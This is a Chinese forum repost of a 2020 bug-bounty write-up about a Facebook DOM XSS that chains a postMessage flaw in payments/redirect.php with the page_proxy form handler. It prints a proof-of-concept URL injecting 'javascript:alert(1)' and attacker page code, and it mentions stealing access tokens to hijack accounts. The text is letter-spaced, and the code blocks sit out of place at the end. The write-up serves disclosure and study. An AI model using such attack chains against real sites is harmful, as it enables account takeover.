搜索

[16185] 2020-12-08_安全研究由postMessage导致Facebook账户劫持的DOMXSS

文档创建者：s7ckTeam
浏览次数：3
最后更新：2025-01-18
2020-12-08_安全研究由postMessage导致Facebook账户劫持的DOMXSS 安 全 研 究   |   由 p o s t M e s s a g e 导 致 F a c e b o o k 账 户 劫 持 的 D O M   X S S F r e e B u f   2 0 2 0 - 1 2 - 0 8 利 用 第 一 个 漏 洞 可 以 通 过 p o s t M e s s a g e 方 式 从 f a c e b o o k . c o m 网 站 中 发 送 跨 域 （ c r o s s - o r i g i n ） 消 息 ， 存 在 漏 洞 的 路 径 会 接 收 攻 击 者 在 请 求 参 数 中 构 造 的 控 制 内 容 ， 同 时 会 以 p o s t M e s s a g e 请 求 中 提 供 的 数 据 创 建 一 个 对 象 从 而 打 开 窗 口 。 第 二 个 漏 洞 与 第 一 个 漏 洞 相 关 ， 其 影 响 为 可 以 构 造 不 安 全 的 脚 本 形 成 X S S ， 或 者 基 于 接 收 数 据 通 过 E v e n t l i s t e n e r 方 式 提 交 表 单 。 漏 洞 ： 通 过 漏 洞 ： 通 过 p o s t M e s s a g e 方 式 从 方 式 从 f a c e b o o k . c o m 网 站 中 发 送 跨 域 （ 网 站 中 发 送 跨 域 （ c r o s s - o r i g i n ） 消 息 ） 消 息 存 在 漏 洞 的 路 径 为 h t t p s : / / w w w . f a c e b o o k . c o m / p a y m e n t s / r e d i r e c t . p h p ， 攻 击 者 可 以 通 过 更 改 请 求 参 数 的 形 式 ， 控 制 F a c e b o o k 服 务 端 对 该 请 求 的 响 应 。 其 中 一 个 有 意 思 的 参 数 为 ’ t y p e ’ ， 如 果 把 其 参 数 值 从 正 常 的 ’ i ’ 更 改 为 ’ r p ’ 后 ， 就 能 用 p o s t M e s s a g e 方 法 与 打 开 窗 口 通 信 （ 正 常 的 i 参 数 调 用 方 法 为 w i n d o w . p a r e n t . P a y m e n t s F l o w s . p r o c e s s I F r a m e ） 图 中 的 目 标 域 为 o u r . i n t e r n . f a c e b o o k . c o m ， 该 域 名 一 般 都 为 F a c e b o o k 内 部 使 用 ， 因 此 从 其 信 息 来 看 ， 里 面 的 p o s t M e s s a g e 方 法 貌 似 仅 是 提 供 给 F a c e b o o k 内 部 员 工 请 求 使 用 的 ， 而 且 它 会 跳 转 到 w w w . f a c e b o o k . c o m 。 之 后 ， 我 尝 试 用 域 名 o u r . a l p h a . f a c e b o o k . c o m 来 测 试 该 功 能 ， 看 其 是 否 可 以 绕 过 其 本 来 的 域 名 设 置 。 比 如 用 链 接 h t t p s : / / o u r . a l p h a . f a c e b o o k . c o m / p a y m e n t s / r e d i r e c t . p h p 进 行 设 置 后 ， 在 p o s t M e s s a g e 方 法 中 其 t a r g e t O r i g i n 即 为 o u r . a l p h a . f a c e b o o k . c o m 。 要 知 道 ， o u r . a l p h a . f a c e b o o k . c o m 和 w w w . f a c e b o o k . c o m 为 具 备 同 一 内 容 的 网 站 域 名 ， 因 此 ， o u r . a l p h a 可 以 跳 转 到 w w w . f a c e b o o k . c o m 。 如 果 这 种 t a r g e t O r i g i n 设 置 满 足 F a c e b o o k 后 台 要 求 ， 那 么 这 种 方 法 可 让 窗 口 消 息 在 不 同 域 之 间 进 行 传 递 ， 也 即 可 以 把 消 息 发 送 到 我 们 设 置 的 域 名 o u r . a l p h a . f a c e b o o k . c o m 中 。 基 于 此 ， 我 觉 得 在 一 些 内 置 消 息 监 听 器 （ m e s s a g e   E v e n t L i s t e n e r s ） 且 能 接 收 f a c e b o o k . c o m 子 域 消 息 的 网 页 页 面 ， 该 漏 洞 就 可 派 上 用 场 ， 只 有 在 这 类 接 收 f a c e b o o k . c o m 子 域 消 息 的 页 面 中 ， 该 漏 洞 才 可 造 成 严 重 影 响 。 之 后 ， 我 发 现 了 很 多 这 种 页 面 ， 但 是 只 有 其 中 一 个 页 面 可 以 形 成 D O M   X S S 。 X S S 漏 洞 漏 洞 a p p s . f a c e b o o k . c o m 应 用 商 店 中 提 供 了 各 种 A P P 下 载 ， 包 括 F a c e b o o k 交 互 式 全 屏 广 告 C a n v a s   A P P ， 如 果 你 在 其 中 访 问 某 个 A P P 应 用 ， F a c e b o o k 会 在 i f r a m e 页 面 中 加 载 一 个 U R L 链 接 ， 然 后 会 产 生 一 个 发 送 至 该 U R L 链 接 的 P O S T 请 求 消 息 ， 其 中 会 附 带 样 式 为 ’ s i g n e d _ r e q u e s t ’ 的 参 数 。 在 我 测 试 该 P O S T 请 求 的 发 生 源 时 ， 我 发 现 该 过 程 的 i f r a m e 页 面 中 还 会 加 载 页 面 ‘ h t t p s : / / w w w . f a c e b o o k . c o m / p l a t f o r m / p a g e _ p r o x y / ? v e r s i o n = X ’ ， 然 后 触 发 一 个 p o s t M e s s a g e 方 式 的 消 息 发 送 （ 此 前 另 一 个 安 全 研 究 者 也 曾 在 该 页 面 中 发 现 了 另 一 个 厉 害 的 漏 洞 ） ， 在 此 行 为 中 的 p a g e _ p r o x y 页 面 代 码 片 段 为 ： 该 代 码 片 段 主 要 完 成 两 件 事 情 ， 第 一 ， 它 会 通 过 p o s t M e s s a g e 用 f r a m e N a m e 方 法 向 任 意 域 发 送 一 条 消 息 ； 第 二 ， 它 会 设 置 一 个 事 件 监 听 器 E v e n t L i s t e n e r 静 待 消 息 。 如 果 有 消 息 进 来 且 满 足 所 有 条 件 ， 它 会 基 于 消 息 中 包 含 的 数 据 设 置 相 应 属 性 ， 并 随 之 提 交 一 个 表 单 。 有 意 思 的 是 其 表 单 构 造 方 法 为 s u b m i t F o r m ， 其 会 把 表 单 中 的 a c t i o n 属 性 直 接 设 置 为 消 息 中 收 到 的 “ a . d a t a . p a r a m s . a p p T a b U r l ” 。 如 果 其 ’ a p p T a b U r l ’ 的 U R L 链 接 以 h t t p / h t t p s 开 头 ， 则 后 台 不 会 对 该 U R L 进 行 安 全 验 证 ， 因 此 ， 我 们 可 以 在 此 引 入 J S 等 其 它 形 式 触 发 X S S ！ 于 是 ， 我 最 终 构 造 了 一 个 满 足 p a g e _ p r o x y 页 面 要 求 ， 且 会 创 建 一 个 对 象 的 P a y l o a d ： 漏 洞 利 用 漏 洞 利 用 攻 击 者 如 果 在 自 己 控 制 的 网 站 中 部 署 进 入 以 下 代 码 ， 受 害 者 一 旦 访 问 了 该 页 面 后 ， 即 会 打 开 另 一 个 页 面 ， 它 就 是 我 们 创 建 的 来 源 窗 口 （ w i n d o w . o p e n e r ） 。 h t t p s : / / o u r . a l p h a . f a c e b o o k . c o m / p a y m e n t s / r e d i r e c t . p h p ? t y p e = r p & n a m e = _ s e l f & p a r a m s [ a p p T a b U r l ] = j a v a s c r i p t : a l e r t ( 1 ) ; & p a r a m s [ s i g n e d R e q u e s t ] = S I G N E D _ X & p l a t f o r m A p p C o n t r o l l e r G e t F r a m e P a r a m s R e s p o n s e = 1 O B J :   { “ < h t m l >
在 此 ， 我 们 无 法 直 接 跳 转 到 p a g e _ p r o x y 路 径 ， 还 需 设 置 一 个 以 下 t i m e o u t 方 法 ， 确 保 它 会 加 载 到 h t t p s : / / w w w . f a c e b o o k . c o m / p l a t f o r m / p a g e _ p r o x y / 。 p a g e 2 . h t m l : 这 样 一 来 ， 在 t i m e o u t 方 法 后 到 即 可 跳 转 到 存 在 漏 洞 的 路 径 ， 然 后 去 执 行 我 们 构 造 的 a l e r t ( 1 ) ， 之 后 ， 我 制 作 的 P O C 可 以 窃 取 受 害 者 的 a c c e s s _ t o k e n ， 最 终 可 实 现 劫 持 受 害 者 F a c e b o o k 账 户 漏 洞 修 复 漏 洞 修 复 F a c e b o o k 通 过 删 除 相 关 跳 转 路 径 （ / p a y m e n t s / r e d i r e c t . p h p ） 中 的 p o s t M e s s a g e 方 法 来 修 复 了 该 漏 洞 ， 另 外 增 加 了 a p p T a b U r l 中 的 h t t p s 协 议 U R L 白 名 单 安 全 验 证 。 漏 洞 报 送 和 处 理 进 程 漏 洞 报 送 和 处 理 进 程 2 0 2 0 . 1 0 . 1 0       漏 洞 报 送 2 0 2 0 . 1 0 . 1 0       漏 洞 接 收 2 0 2 0 . 1 0 . 1 0       F a c e b o o k 奖 励 了 $ 2 5 K 2 0 2 0 . 1 0 . 2 8       F a c e b o o k 修 复 漏 洞 参 考 来 源 ： 参 考 来 源 ： y s a m m 精 彩 推 荐 精 彩 推 荐 阅 读 原 文 < b u t t o n   c l a s s = " b u t t o n "   o n C l i c k = " w i n d o w . o p e n ( ' h t t p s : / / a t t a c k e r / p a g e 2 . h t m l ' ,   ' _ b l a n k ' ) ; d o c u m e n t . l o c a t i o n . h r e f   =   ' h t t p s : / / o u r . a l p h a . f a c e b o o k . c o m / p l a t f o r m / p a g e _ p r o x y / ? v e r s i o n = X # _ s e l f ' ; " < s p a n   c l a s s = " i c o n " > S t a r t   A t t a c k < / s p a n > < / b u t t o n > < / h t m l > < h t m l > < s c r i p t > s e t T i m e o u t ( f u n c t i o n ( ) {   w i n d o w . l o c a t i o n . h r e f   =   ' h t t p s : / / o u r . a l p h a . f a c e b o o k . c o m / p a y m e n t s / r e d i r e c t . p h p ? t y p e = r p & m e r c h a n t _ g r o u p = 8 6 & n a m e = _ s e l f & p a r a m s [ a p p T a b U r l ] = j a v a s c r i p t : a l e r t ( 1 ) ; & p a r a m s [ s i g n e d R e q u e s t ] = S I G N E D _ X & p l a t f o r m A p p C o n t r o l l e r G e t F r a m e P a r a m s R e s p o n s e = 1 ' < / s c r i p t > < / h t m l >
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理